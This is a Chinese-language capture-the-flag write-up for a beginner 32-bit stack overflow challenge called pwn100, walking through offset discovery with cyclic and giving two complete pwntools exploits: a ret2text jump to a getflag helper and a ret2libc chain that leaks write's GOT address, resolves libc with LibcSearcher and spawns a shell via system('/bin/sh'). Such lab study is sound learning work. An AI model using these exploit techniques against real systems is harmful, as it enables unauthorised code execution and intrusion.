简单的练手栈溢出题 pwn100

原题从这边下载:
链接:https://pan.baidu.com/s/1ea7UCg4979id7QfVERGo7Q
提取码:wi79

用到的LibcSearcher工具可以从这里下载,我已经下载好了到目前为止各个版本的libc,为了检索提高速度,常用的几个放在db文件夹中,其他的都在dbbak文件夹中,需要用到的时候将dbbak文件夹重命名为db(另一个换个名字),db文件夹换个名字,用完再改过来就行了。另外,get脚本也有修改,有新的libc库时,修改按照里面的格式get脚本然后执行./get命令等待即可。具体操作参见readme。
这是完整版的(大小600多M,文件1500多项):
链接:https://pan.baidu.com/s/1Z5OkDiBLcW7ocmgkM_5FkQ
提取码:ygcz

这是常用版的(没有dbbak文件夹,大小70多M,300多项文件)
链接:https://pan.baidu.com/s/1xyUnPwrs2Q8wjCT7ZfPWXw
提取码:er15

这道题里面含有一个辅助函数getflag函数,大大降低了解题难度。为了更好的学习栈溢出的一般方法这里给出两种解法,一是用辅助函数,直接打出flag,另一种是使用LibcSearcher直接ret2libc。

这是一道简单的基础pwn题。拿到题目首先用file看下,执行下。如图:
简单的练手栈溢出题 pwn100_第1张图片
在用checksec脚本看下文件开的保护
简单的练手栈溢出题 pwn100_第2张图片
可以看到该文件是32位,逻辑比较简单,保护只开了堆栈不可执行,地址随机化是关着的

拖入ida反汇编查看程序,可以看到主程序只有write和read两个函数,有个字符串数组,所占空间大小为0x81个字节,即栈空间大小为0x81个大小,但是buf数组是从0x64开始的,所以buf数组的大小只有0x68,程序的具体逻辑是输出let’s begin!,输入一段字符,然后返回。
本程序的可利用空间,也就是漏洞就在输入的地方,buf数组只有0x68的大小,却允许我们输入0x100个字符,于是可以覆盖栈中保存的返回地址,控制pc指针运行到我们想让他运行的地方。
简单的练手栈溢出题 pwn100_第3张图片
简单的练手栈溢出题 pwn100_第4张图片
简单的练手栈溢出题 pwn100_第5张图片
于是可以得到本程序的攻击思路如下:
1、寻找溢出点,即我们应该构造多大的填充字符串
2、寻找返回地址,即控制pc指针执行什么程序。
3、构造payload,完成攻击。

一、寻找溢出点

32位寻找溢出点的方法很多,做常用也好用的是借用pwn的cyclic脚本或者pattern脚本,两者用法类似,本题以cyclic脚本为例,计算溢出点。
首先产生0x100个长度的字符串,,命令是cyclic 0x100(这个长度可以长点,0x100是read最多输入的字符长度,就是read函数的第三个参数)

在这里插入图片描述
然后gdb ./pwn100运行程序,输入产生的字符,找到是程序崩溃的字符即0x62616164
简单的练手栈溢出题 pwn100_第6张图片
使用命令cyclic -l 0x62616164,查找长度
在这里插入图片描述
得到长度为112,即0x70,所以溢出点的长度为0x70

除了脚本的方法外还可以直接猜,这种方法原理也简单,我们要做的无非是找到ret地址,ret地址就在栈的后面,具体哪一个不好说,那我们就一个一个试下就好了,总共只用四个地址,试四次就好了,如图。
简单的练手栈溢出题 pwn100_第7张图片
之前说buf从0x64开始,到0x00,大小为0x68,后面以此有四个参数,每次地址加四,所以依次尝试0x68,0x6c,0x70,0x74,最多四次就可以得到正确的覆盖范围。

当然也可以使用gdb调试的方法找到溢出点,但是这样做就复杂了,32位的用不到。

二、寻找返回地址

前面找到了返回地址,接下来就是寻找返回地址。如果观察仔细的话可以看到本题是有一个辅助函数getflag函数的,用ret2text的方法就能搞定,这就大大降低了本题的难度,如果没发现的话也可以使用ret2libc的方法,当然想要尝试更难一点的方法可以使用rop的方法,需要自己寻找rop链。本文给出前两种解法。

第一种ret2text(使用辅助函数)

首先看下这个辅助函数getflag函数

int getflag()
{
  char format; // [esp+14h] [ebp-84h]
  char s1; // [esp+28h] [ebp-70h]
  FILE *v3; // [esp+8Ch] [ebp-Ch]

  v3 = fopen("flag.txt", "r");
  if ( !v3 )
    exit(0);
  printf("the flag is :");
  puts("SUCTF{dsjwnhfwidsfmsainewmnci}");
  puts("now,this chengxu wil tuichu.........");
  printf("pwn100@test-vm-x86:$");
  __isoc99_scanf("%s", &s1);
  if ( strcmp(&s1, "zhimakaimen") )
    exit(0);
  __isoc99_fscanf(v3, "%s", &format);
  return printf(&format);
}

这个函数逻辑不复杂,首先是以读的方式打开flag.txt,如果没有没有这个文件,程序退出,所以需要新建一个flag.txt,内容写点东西。程序然后打印出一些信息,包括一个flag,但是这个应该是假的,真的flag应该在flag.txt文件里面。有趣的是当你输入“zhimakaimen”的时,它才会打印出真正的flag。所以我们需要跳转到这个函数,然后输入“zhimakeimen”,才能得到真正的flag。

第一步已经分析出payload需要填充0x70个字符,这种方法只要在找到getflag函数的地址加在payload后面就行了,因为本题没开地址随机化(即ASLR)和canary,可以直接用ida看,或者用gdb打印出来,
这是ida查看
在这里插入图片描述
这是用gdb打印,首先在main函数下断点,然后r 一下,在 p getflag 就行了
在这里插入图片描述
getflag的地址就是0x804865d
当然这里更推荐直接在pwn脚本中获得该函数的地址,具体命令是:

elf = ELF('./pwn100')
getflag_addr = elf.symbols['getflag'] #获取getflag函数的地址

到此就可以构造payload写exp脚本了,该payload为

payload1 = 'a' * 0x70 + p32(getflag_addr)

完整的exp脚本为

#_*_ coding: utf-8 _*_
from pwn import *

context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn100')
getflag_addr = elf.symbols['getflag']

p = process('./pwn100')
#p=remote("172.17.0.2",10001)
#去掉下面的两句话的注释,脚本可以使用gdb调试
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# gdb.attach(proc.pidof(p)[0])

print hex(getflag_addr)
payload1 = 'a' * 0x70 + p32(getflag_addr)

p.recvuntil("let's begin!\n")
p.send(payload1)

p.recvuntil('pwn100@test-vm-x86:$')
#raw_input()
s="zhimakaimen"
p.sendline(s)#注意这里是sendline,不是send。即发送的字符最后要加换行
p.recv()
p.close()

执行结果如下,顺利打出了flag
简单的练手栈溢出题 pwn100_第8张图片

本题到此就可以结束了,但是我有尝试下了ret2libc的方法,发现一样可以成功,于是将攻击过程记在后面。

第二种ret2libc(不用辅助函数)

思路是执行libc中system("/bin/sh"),要执行这个函数得到shell,需要找到文件中system函数的位置,然后把"/bin/sh"传进去,本地如何寻找system函数位置和"/bin/sh"的位置可以参考蒸米大佬的博客网址是 http://www.vuln.cn/6645 很经典的栈溢出教学。如果实在远程要寻找system函数的位置有两种方法,一种是用pwntools本身自带的DynELF函数,说实话,我尝试了几次,但因为学到不够好,还没一次成功的。建议使用LibcSearcher脚本,可以去github上下载,或者从我的网盘中下载。(建议从我的网盘中下载,因为GitHub上的还需要修改点东西,下载网址见最开始)
本题没有开地址随机化,但是即便开了地址随机化,也可以使用下面的方法解决,如果开了canary就要在想办法绕过canary。
想要通过LibcSearcher得到远程机器libc的版本,就至少得知道一个的libc内的函数在内存中的地址,可以是read的地址,write的地址,也可以是printf函数的地址,只要是系统常用的自带的函数都可以,但不可以是main函数,getflag函数的地址,因为这是程序自己定义的,不属于libc函数库,当我们想办法得到这样一个地址后,就可以使用LibcSearcher()工具得到libc版本,进而得到该函数在内存的偏移即offest,当程序执行时,不同的库函数的offest函数时相同的,于是就可以得到system函数的地址,也可以得到‘“/bin/sh”字符串的地址,当然也可以得到其他函数的地址。
所以最后的关键就落在如何找到一个库函数在内存中的地址,尤其是开启了地址随机化后,函数每次在内存中加载的位置都不同。要想解决这个问题就要从liunx的运行机制着手,我们可以这样想,linux运行时是怎么找到库函数在内存中的地址的,我们是不是也可以这样去找。linux采用延迟绑定技术,程序加载时会生成一个plt表和got表,got表中存的就是库函数真是地址的映射,函数执行时会跳转到真正的地址上去,我们只要在程序执行时能打印出got表中的地址,就能得到相应的地址,那么如何打印got表呢,这就要用到plt表了,plt表示linux为了提升运行效率而产生的一个表,这个表主要是过渡作用,,通过这个表,就可以link到got表,进而执行函数,我们可以通过这个表执行想要的函数。(具体的请自行百度)
知道了这个机制和两个表之后,我们就可以得到想办法利用一下,得到我们想得到的地址。本程序的具体思路如下:
本程序既然有一个write函数,那我们就可以控制pc指针跳转到write函数的上(利用plt表),然后将got表中的某个函数地址作为参数传给write,这样就能打印出函数在内存中的地址,然后后面的事情就简单了。
具体的做法如下:
首先读取文件的elf信息,代码如下:

elf = ELF('./pwn100') #读取elf头文件
plt_read = elf.symbols['read'] #获得read@plt函数地址	
got_read = elf.got['read'] #获得read@got函数的地址
plt_write = elf.symbols['write'] #获得write@plt函数的地址
got_write = elf.got['write']#获得write@got函数的地址
main_addr = elf.symbols['main']#获得main函数的地址

接下来构造payload

pyload = 'a' * 0x70 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)

‘a’*0x70前面已经解释过,不在多说,p32(plt_write) 是ret地址,让pc指向write@plt函数的起始位置,从而开始执行write函数,此时会重新压栈,紧接着就是传write函数的3个参数,即p32(1) ,p32(got_write) , p32(4)
p32(1)中的1表示的是stdout程序输出流
p32(got_write)中的got_write表示write@got的函数地址,当然也可以是其他的库函数
p32(4)中的4表示我们要write打印到屏幕上的长度。
那么p32(main_addr) 是干啥的,这个是返回地址,当我们打印完write函数的地址后,我们还要让程序在一次执行到read函数,继续让我们输入,我们才能再一次输入含有system("/bin/sh")的payload。返回地址一定要有,千万不要省略,因为我们控制pc指针执行write函数时,首先是要将返回地址压栈的,write函数执行完要返回到这个地址继续执行的。返回地址也不能是read@plt或者read@got,原因可能是因为buf为被再一次定义,只能是main函数的地址。当然也可以是getflag函数的地址,这样执行完write就会执行getflag函数,当然这样没有意义。

接下来是接受write函数地址,搜索libc版本,计算offest,找到system函数地址和/bin/sh字符串的地址

write_addr = u32(p.recv(4)) #接收打印出来的地址,即真正的地址
#print 'got_write=' + hex(got_write)
print 'write_addr=' + hex(write_addr)

libc = LibcSearcher('write', write_addr)#使用LibcSearcher工具查找libc版本
offest = write_addr - libc.dump('write')#计算offest
system_addr = offest + libc.dump('system')#计算system函数地址
print 'system_addr='+hex(system_addr)
binsh_addr = offest + libc.dump('str_bin_sh')#计算/bin/sh字符串地址
print 'binsh_addr=' + hex(binsh_addr)

最后构造含有system("/bin/sh")的payload

payload2 = 'A' * 0x68 + p32(system_addr) + p32(getflag_addr) + p32(binsh_addr)

这里的 ‘A’ * 0x68 为什么是0x68不是0x70,因为程序在一次定义了buf数组,栈的结构可能改变,需要重新计算一下需要覆盖的大小,计算方法参上。 p32(system_addr)这个是控制pc指针指向system函数的起始位置,然后执行system("/bin/sh"), p32(getflag_addr) 是返回地址,由于我们不会返回,这个地址可以任意,但是不能少,p32(binsh_addr)这个是system函数的参数,也就是"/bin/sh"

再讲这个payload发送过去即可。

完整脚本如下:

#_*_ coding:utf-8 _*_
from pwn import *
from LibcSearcher import LibcSearcher  #要使用LibcSearcher,导入这个包
context(os='linux', arch='i386', log_level='debug')

elf = ELF('./pwn100')
plt_read = elf.symbols['read']
got_read = elf.got['read']
plt_write = elf.symbols['write']
got_write = elf.got['write']
main_addr = elf.symbols['main']

p = process('./pwn100')
#p=remote('172.17.0.2',10001)
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# gdb.attach(proc.pidof(p)[0])

p.recvuntil("let's begin!\n")#这句话不能少,这涉及到执行的逻辑,程序必须按顺序执行write,read,然后才能发送payload,控制pc指针在一次执行write函数
#paylaod='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'

payload = 'a' * 0x70 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)

p.send(payload)

write_addr = u32(p.recv(4))
#print 'got_write=' + hex(got_write)
print 'write_addr=' + hex(write_addr)

libc = LibcSearcher('write', write_addr)
offest = write_addr - libc.dump('write')
system_addr = offest + libc.dump('system')
print 'system_addr='+hex(system_addr)
binsh_addr = offest + libc.dump('str_bin_sh')
print 'binsh_addr=' + hex(binsh_addr)

p.recvuntil("let's begin!\n")#这句话也不能少。原因同上,涉及到程序的执行顺序问题。
getflag_addr=elf.symbols['getflag']

#payload2='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
payload2 = 'A' * 0x68 + p32(system_addr) + p32(getflag_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

执行效果如下(这里用的是远程的主机,使用的是docker容器。):
简单的练手栈溢出题 pwn100_第9张图片
简单的练手栈溢出题 pwn100_第10张图片
得到shell,并打印出正确的flag。

注:刚开始学没多久,有不当的地方请多指教。

你可能感兴趣的:(pwn)